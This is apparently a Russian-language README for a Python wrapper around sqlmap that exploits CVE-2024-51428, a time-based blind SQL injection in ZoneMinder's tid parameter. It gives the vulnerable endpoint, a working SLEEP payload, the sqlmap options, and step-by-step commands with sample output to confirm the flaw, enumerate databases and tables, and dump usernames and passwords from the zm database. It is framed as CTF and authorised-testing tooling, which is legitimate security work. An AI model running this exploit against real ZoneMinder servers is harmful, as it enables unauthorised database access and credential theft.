
Обёртка на Python для эксплуатации CVE-2024-51428 в ZoneMinder с использованием Blind SQL Injection через sqlmap, автоматизирующая перечисление БД, таблиц и извлечение данных с чистым выводом.
Python-обёртка для sqlmap, предназначенная для эксплуатации CVE-2024-51428 в ZoneMinder.
Этот инструмент автоматизирует обнаружение и эксплуатацию уязвимости Blind SQL Injection, при этом вывод остаётся чистым и сосредоточенным на полезных данных.
Скрипт скрывает логи sqlmap и отображает только релевантную информацию, такую как:
Это делает инструмент идеальным для CTF-сред, демонстраций и тестирования безопасности.
CVE: CVE-2024-51428
Тип: Blind SQL Injection
Уязвимое ПО: ZoneMinder
Вектор атаки: HTTP GET параметр
Параметр: tid
Уязвимость существует в следующей конечной точке:
/zm/index.php?view=request&request=event&action=removetag&tid=
Параметр tid недостаточно очищается перед использованием в запросе к базе данных, что позволяет злоумышленникам внедрять SQL-запросы.
Используемый метод эксплуатации — time-based blind SQL injection.
Пример полезной нагрузки, обнаруженной sqlmap:
tid=1 AND (SELECT 3475 FROM (SELECT(SLEEP(5)))BZWD)
Эта полезная нагрузка заставляет базу данных засыпать, если запрос выполняется успешно, что подтверждает наличие SQL-инъекции.
Установите sqlmap при необходимости:
sudo apt install sqlmap
Базовый синтаксис:
python3 poc.py --url <TARGET_URL> -c '<ZMSESSID_COOKIE>'
С помощью этой команды мы проверяем, уязвима ли цель
Пример:
python3 poc.py --url http://target.htb -c '151fvdqmjkhnkfat7l5epgmd22'
Эксплоит требует действующей cookie сессии ZoneMinder.
Шаги:
Application → Cookies
ZMSESSID
-cПример:
-c '151fvdqmjkhnkfat7l5epgmd22'
python3 poc.py --url http://target.htb -c 'COOKIE'
Пример вывода:
[*] Checking vulnerability...
Parameter: tid (GET)
Type: time-based blind
Payload: tid=1 AND (SELECT(SLEEP(5)))
[+] TARGET IS VULNERABLE TO BLIND SQL INJECTION
python3 poc.py --url http://target.htb -c 'COOKIE' -d
Пример вывода:
available databases [3]:
information_schema
mysql
zm
python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm
Пример вывода:
Database: zm
Users
Events
Monitors
Storage
python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm -t Users
python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm -t Users -f Username
Пример:
+----------+
| Username |
+----------+
| admin |
| viewer |
+----------+
Вы можете фильтровать строки с помощью:
-ff <COLUMN> <VALUE>
Пример:
python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm -t Password -ff Username mark
Эквивалентный SQL:
WHERE Username='mark'
Пример:
python3 poc.py \
--url http://target.htb \
-c 'COOKIE' \
-d -db zm -t Users \
-f Password \
-ff Username mark
Внутренняя команда sqlmap:
sqlmap -D zm -T Users -C Password --where="Username='mark'" --dump
Скрипт действует как обёртка для sqlmap.
Выполняемые внутренние шаги:
/zm/index.php?view=request&request=event&action=removetag&tid=1
--threads=10
--technique=T
--batch
Этот инструмент создан для:
Этот проект предоставлен только для образовательных целей и авторизованного тестирования безопасности.
Автор не несёт ответственности за любое неправомерное использование данного инструмента.
Всегда получайте соответствующее разрешение перед тестированием любой системы.
Security Research / CTF tooling